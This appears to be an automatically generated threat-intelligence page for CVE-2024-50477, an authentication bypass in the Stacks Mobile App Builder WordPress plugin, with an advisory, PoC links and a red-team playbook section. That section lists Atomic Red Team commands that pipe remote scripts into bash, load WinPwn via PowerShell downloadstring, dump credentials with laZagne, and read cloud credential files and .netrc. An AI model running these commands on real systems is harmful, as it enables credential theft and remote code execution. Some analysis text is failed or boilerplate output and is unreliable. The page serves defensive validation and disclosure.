CVE-2024-50477
Overview
This vulnerability is an authentication bypass rooted in improper access control within the Stacks Mobile App Builder plugin for WordPress. The issue arises from an alternate path or channel that allows unauthenticated users to circumvent standard authentication mechanisms. The affected component is the authentication logic handling user session validation in versions up to and including 5.2.3.
Vulnerability Description
Authentication Bypass Using an Alternate Path or Channel vulnerability in Stacks Stacks Mobile App Builder stacks-mobile-app-builder allows Authentication Bypass.This issue affects Stacks Mobile App Builder: from n/a through <= 5.2.3.
Impact
An attacker can gain unauthorized administrative or user-level access to the Stacks Mobile App Builder plugin without any authentication or user interaction. This access can lead to full account takeover, allowing the attacker to manipulate app configurations, access sensitive data, or perform actions reserved for authenticated users. The vulnerability enables complete compromise of the plugin's functionality within the WordPress site, potentially affecting the integrity and confidentiality of the hosted mobile app data.
Solution
Upgrade the Stacks Mobile App Builder plugin to version 5.2.4 or later, as recommended by the vendor in the advisory available at https://patchstack.com/database/Wordpress/Plugin/stacks-mobile-app-builder/vulnerability/wordpress-stacks-mobile-app-builder-plugin-5-2-3-account-takeover-vulnerability?_s_id=cve. This update addresses the authentication bypass by correcting the access control logic. Site administrators should apply this patch promptly to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability present in the Stacks Mobile App Builder is characterized by an authentication bypass that allows unauthorized access to the application. This flaw arises from the improper handling of authentication mechanisms, enabling attackers to exploit alternate paths or channels to gain access without valid credentials. Specifically, the issue affects versions of the Stacks Mobile App Builder up to and including 5.2.3, which indicates that any application built on this platform could potentially be compromised. The underlying technical details suggest that the application does not adequately validate user sessions or tokens, allowing attackers to bypass standard authentication processes.
Attack vectors for this vulnerability are varied and can be executed through multiple methods. An attacker could leverage social engineering techniques to manipulate users into accessing a malicious link that exploits the authentication bypass. Additionally, by analyzing the application's request and response patterns, an attacker might discover alternative endpoints that do not enforce authentication checks. This could lead to scenarios where sensitive user data, administrative functionalities, or even the ability to modify application settings are exposed to unauthorized users. The simplicity of exploiting this vulnerability makes it particularly concerning, as it does not require advanced technical skills, thereby broadening the potential threat landscape.
The real-world impact of this vulnerability can be significant, especially for businesses that rely on the Stacks Mobile App Builder for their mobile applications. Unauthorized access could lead to data breaches, where sensitive user information is compromised, resulting in potential legal ramifications and loss of customer trust. Furthermore, the ability to manipulate application settings could allow attackers to deploy malicious content or disrupt services, leading to financial losses and reputational damage. The high CVSS score of 9.8 indicates that this vulnerability poses a critical risk, necessitating immediate attention from organizations utilizing the affected product.
Detection and mitigation strategies are essential to address this vulnerability effectively. Organizations should conduct thorough security assessments of their applications built on the Stacks Mobile App Builder, focusing on authentication mechanisms and access controls. Implementing robust logging and monitoring can help identify unauthorized access attempts and provide insights into potential exploitation. Additionally, it is crucial to apply patches and updates provided by the vendor to remediate the vulnerability. Beyond technical fixes, educating developers and users about secure coding practices and the importance of maintaining strong authentication protocols can further reduce the risk of exploitation.
In conclusion, the authentication bypass vulnerability in the Stacks Mobile App Builder represents a significant threat to organizations leveraging this platform. The ease of exploitation, coupled with the potential for severe consequences, underscores the importance of proactive security measures. By understanding the technical aspects, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities and protect their assets in an increasingly hostile cyber landscape.
CSURFACE threat intelligence has identified a marked escalation in the exploit landscape for CVE-2024-50477, with the emergence of publicly available proof-of-concept exploit code and a corresponding official entry on ExploitDB. This development significantly lowers the barrier to exploitation by expanding access to reliable attack tools, thereby increasing the likelihood of opportunistic and targeted threat actors attempting authentication bypass attacks against Stacks Mobile App Builder instances. Our telemetry indicates that the Exploit Prediction Scoring System (EPSS) score has surged to a high percentile, reflecting an elevated probability of exploitation in the near term. Consequently, the threat level associated with this vulnerability has shifted from theoretical to imminent, warranting heightened vigilance. The availability of these exploits in open repositories accelerates adversary capability development and may catalyze a broader wave of compromise attempts, particularly against organizations with unpatched or poorly monitored deployments. This evolution underscores the criticality of timely detection and response mechanisms to mitigate the increased operational risk posed by this vulnerability.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Stacksmarket | Stacks Mobile App Builder | All |
cpe:2.3:a:stacksmarket:stacks_mobile_app_builder:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Stacks Mobile App Builder 5.2.3 - Authentication Bypass via Account Takeover | stealthcopter | webapps | multiple | - | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
PoC
|
- | 0 | 0 | - | View |
|
RandomRobbieBF/CVE-2024-50477
Stacks Mobile App Builder <= 5.2.3 - Authentication Bypass via Account Takeover
|
RandomRobbieBF | 0 | 0 | 2024-11-08 | View |
Threat Feed
2 eventsProof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-50477 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/stacks-mobile-app-builder/vulnerability/wordpress-stacks-mobile-app-builder-plugin-5-2-3-account-takeover-vulnerability?_s_id=cve |